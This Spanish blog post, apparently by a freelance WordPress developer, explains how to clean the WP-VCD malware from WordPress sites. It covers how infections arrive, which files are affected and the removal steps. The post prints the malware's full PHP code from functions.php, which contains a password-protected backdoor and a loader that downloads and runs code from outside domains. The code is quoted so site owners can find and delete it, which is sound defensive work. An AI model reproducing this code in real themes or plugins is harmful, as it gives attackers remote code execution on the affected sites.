Utilizar WordPress como CMS a la hora de llevar a cabo un desarrollo web tiene grandes ventajas, ya que cuenta con una gran cuota de mercado cuya comunidad es cada vez mayor. Sin embargo esta popularidad tiene una cara B y es que también hace a la plataforma susceptible de numerosos ataques, ya sean personas, bots o malwares. En su mayoría no revisten mucha gravedad, pero sí que pueden causarte más de un dolor de cabeza cuando la infestación se replica en toda tu red.
Hace unos días revisando una página web a la que pretendía hacer unas actualizaciones y cuya plantilla había programado yo mismo, como desarrollador freelance especializado en WordPress que soy, me encontré en el archivo de funciones un segmento de código que para nada era mío. Ante mí estaba un nuevo enemigo: el malware WP-VCD. Se trata de un tipo de código malicioso que en poco tiempo se ha vuelto bastante común en instalaciones de WordPress y es utilizado para generar URLs de spam con las que derivar trafico de tu sitio a estas nuevas rutas. Una técnica habitual dentro del black hat SEO.
Si tú también te has encontrado con esta situación y no sabes por dónde empezar, quédate porque voy a dar algunas indicaciones sobre cómo solucionar este problema. Por otra parte, si no eres desarrollador y necesitas ayuda profesional para eliminar malwares en WordPress, puedes contactar conmigo a través de la sección de contacto dándome todos los detalles de tu situación. Te responderé en horario laboral tan pronto como pueda.
¿Cómo han entrado en mi web?
Existen varias formas en la cual tu web ha podido quedar expuesta a este virus, aunque las más habituales serían:
1 – Han entrado en nuestro sitio a través de una vulnerabilidad. Esta brecha de seguridad quizá se encuentre en el propio WordPress, aunque lo más probable es que esté en el tema o alguno de los plugins instalados.
2 – Hemos usado para nuestro diseño y desarrollo web un tema o un plugin que incorpora el malware WP-VCD en cuestión. Es bastante habitual que ocurra con las versiones anuladas (nulled) de temas o plugins de pago. En este caso eres tú mismo el que infecta la web sin ser consciente de ello.
3 – Tu proyecto está en un espacio web donde otras páginas webs pueden acceder y una o varias de ellas están infectadas. Al dichoso script le gusta replicarse en todas las webs que tenga a mano.
Pero, ¿dónde se encuentran los archivos infectandos?
El malware en cuestión se encuentra generalmente en cinco archivos de nuestra instalación de WordPress, aunque a veces falta alguno de los tres primeros. Los archivos que afecta son los siguientes:
wp-includes/wp-tmp.php
wp-includes/wp-vcd.php
wp-includes/wp-feed.php
wp-includes/post.php
wp-content/themes/mi-tema/functions.php
Sin embargo tengo que hacer una aclaración, ya que una cosa es el malware y otra diferente es el instalador del mismo. Para que el virus pueda expandirse, usan un instalador que inyecta el código en nuestro archivos. Como supondrás, para evitar que vuelva a replicarse, deberás eliminarlo también o no servirá de mucho la limpieza de los anteriores archivos.
Para ser un poco más preciso, tengo que hacer otra aclaración y es que aunque hablo de un instalador, en realidad hay varios: uno principal que es el que despliega el malware y luego otros secundarios que lo extienden haciendo que salte también entre los diferentes sitios.
El principal se encontrará en el sitio origen de la infección y su ubicación variará dependiendo de si se encontraba en un tema o en un plugin. Tendrás que revisar los directorios correspondientes para encontrarlos. Los archivos de los que hablamos son:
class.theme-modules.php
class.plugin-modules.php
No es habitual encontrar los dos a la vez, pero si ese fuera tu caso, has sido infectado por partida doble.
¿Cómo elimino entonces el malware?
Si has llegado hasta aquí es más que probable que andes buscando cómo limpiarlo, así que voy a darte una serie de pasos que espero te puedan servir de ayuda para resolver el dichoso problema. Ten en cuenta que voy a incluir también pasos habituales para controlar cualquier infección y que en este caso no tendrían por qué ser imprescindibles. Pero es mejor ser precavidos, máxime si no solemos prestar atención a la seguridad de nuestro entorno. Vamos allá:
1 – Desconecta tu ordenador de internet así como de la red local si este fuera tu caso. Y si tienes un servidor local en el equipo, apágalo. Primero vamos a asegurarnos que si hay algo no se extiende. Vacía la caché de navegación y archivos temporales. Puedes hacerlo manualmente en cada programa o usar alguna aplicación como CCleaner. Después te recomiendo que pases un antivirus y un antispyware, ya aunque este tipo de script no es detectable por los sistemas de rastreo nunca sabemos si hay algún otro tipo de software malicioso en nuestro equipo y todo podría descontrolarse.
2 – Contraseñas guardadas en navegador van fuera. Si eres de los que guardan las contraseñas de los paneles de control de WordPress en el navegador, debes eliminarlas. No sabemos si están comprometidas y deberemos cambiarlas después, pero de entrada eliminamos los registros.
3 – Cuidado con el FTP. Aunque no se trata de un malware que pueda saltar entre hostings, también es cierto que inyecta código y no creo que la persona o personas que se encuentran detrás del virus se sienta moralmente comprometidas a no fastidiarte más. No supongamos nada y elimina todas las cuentas de tu cliente FTP, deberemos cambiar contraseñas e instalarlas una a una conforme hayamos limpiado el sitio en el que entremos, pero eso más adelante.
4 – A limpiar en casa. Ahora debemos asegurarnos que el entorno desde donde vamos a trabajar está limpio. No des por sentado que porque el problema esté en el servidor, no lo tengas latente en tu equipo también, sobre todo si usas un servidor local tipo Wamp o Xampp. Revisaremos los archivos para ver si en las copias locales de nuestros trabajos ya tenemos descargado el código malicioso. Nuestra acción se centrará en los archivos que citaba más arriba.
Primero entraremos en la carpeta wp-includes y eliminaremos los archivos wp-vcd.php
, wp-tmp.php
y wp-feed.php
(puede que falte alguno de ellos). Recomiendo usar la función ⇧ Mayús+Supr si usas Windows o ⌘ Cmd+X para Mac, ya que así lo borramos sin pasar por la papelera (vale, quizá esto ya es manía mía, pero a fin de cuentas soy yo el que escribe).
Después, localizaremos post.php
, lo abriremos y buscaremos en el encabezado el fragmento que indico a continuación para limpiar completamente:
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>
En tercer lugar iremos a nuestro archivo de funciones, ubicado en wp-content/themes/mi-tema/functions.php para abrirlo. En su interior encontraremos al comienzo este otro script, considerablemente más grande y lo eliminaremos también.
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f61acf217cd3519fe7e450a1e641b5f4'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
Por último buscaremos los archivos de instalación original class.theme-modules.php
o class.plugin-modules.php
que comentaba antes y los eliminaremos también. El dejarlos en último lugar es porque tras la instalación inicial, el script que contienen se auto elimina y dejan de ser peligrosos. Pero no vamos a conservarlos claro, con todo el sudor que nos han causado. Eso sí, encontrarlos puede sernos útil para saber dónde empezó todo.
Una vez hayamos hecho limpieza local, ya podemos volver a conectar nuestro equipo a la red e internet. En el caso que estuvieras en una red, asegúrate que el resto de equipos están también limpios, claro.
5 – Conectarnos uno a uno a los servicios de hosting y repetir el proceso de limpieza que llevamos a cabo en local. En caso que gestionemos servidores completos, pues aplica el proceso de la manera que más estimes oportuna. Una faena, sí, pero es necesario si queremos evitar que el virus se regenere.
Haciendo una correcta limpieza, podemos acabar con WP-VCD de un modo relativamente sencillo. Claro que esto dependerá de la cantidad de portales afectados y nuestros conocimientos sobre WordPress. Ten en cuenta que este artículo lo escribo en un momento concreto y hablamos de un malware que puede cambiar con el tiempo. Quizá necesites también un poco de intuición y revisar si se ha extendido por otros sitios o los archivos afectados son diferentes.
Una vez hayas eliminado el dichoso virus, te recomiendo que le des un vistazo a este otro artículo donde indico cómo mejorar la seguridad de WordPress con una serie de medidas indidividuales que te ayudarán a reducir la eficacia de próximos ataques.
Espero que os resulte útil.
Deja una respuesta